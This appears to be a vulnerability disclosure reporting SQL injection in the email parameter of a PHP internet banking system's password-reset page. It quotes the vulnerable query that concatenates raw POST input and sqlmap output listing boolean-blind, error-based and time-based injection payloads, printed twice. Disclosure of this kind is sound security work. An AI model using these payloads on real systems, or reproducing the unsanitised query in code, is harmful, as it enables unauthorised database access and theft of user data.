SQL injection vulnerability exists in email parameter of pages_reset_pwd.php file of Internet Banking System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```php
<?php
session_start();
include('conf/config.php');
if (isset($_POST['reset_password'])) {
  //prevent posting blank value for first name
  $error = 0;
  if (isset($_POST['email']) && !empty($_POST['email'])) {
    $email = mysqli_real_escape_string($mysqli, trim($_POST['email']));
  } else {
    $error = 1;
    $err = "Enter Your Email";
  }
  if (!filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) {
    $err = 'Invalid Email';
  }
  $checkEmail = mysqli_query($mysqli, "SELECT `email` FROM `iB_admin` WHERE `email` = '" . $_POST['email'] . "'") or exit(mysqli_error($mysqli));
```

```
sqlmap identified the following injection point(s) with a total of 316 HTTP(s) requests:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: email=-1' AND 7700=(SELECT (CASE WHEN (7700=7700) THEN 7700 ELSE (SELECT 5222 UNION SELECT 4178) END))-- -&reset_passwor
d=

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: email=-1' AND GTID_SUBSET(CONCAT(0x716a627671,(SELECT (ELT(5663=5663,1))),0x71717a7171),5663) AND 'BmNj'='BmNj&reset_pas
sword=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=-1' AND (SELECT 4496 FROM (SELECT(SLEEP(5)))YKAX) AND 'rhdM'='rhdM&reset_password=
---
```

“

Parameter: email (POST)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)

Payload: email=-1' AND 7700=(SELECT (CASE WHEN (7700=7700) THEN 7700 ELSE (SELECT 5222 UNION SELECT 4178) END))-- -&reset_password=

Type: error-based

Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)

Payload: email=-1' AND GTID_SUBSET(CONCAT(0x716a627671,(SELECT (ELT(5663=5663,1))),0x71717a7171),5663) AND 'BmNj'='BmNj&reset_password=

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: email=-1' AND (SELECT 4496 FROM (SELECT(SLEEP(5)))YKAX) AND 'rhdM'='rhdM&reset_password=

“

Source Download：

https://codeastro.com/internet-banking-system-in-php-with-source-code/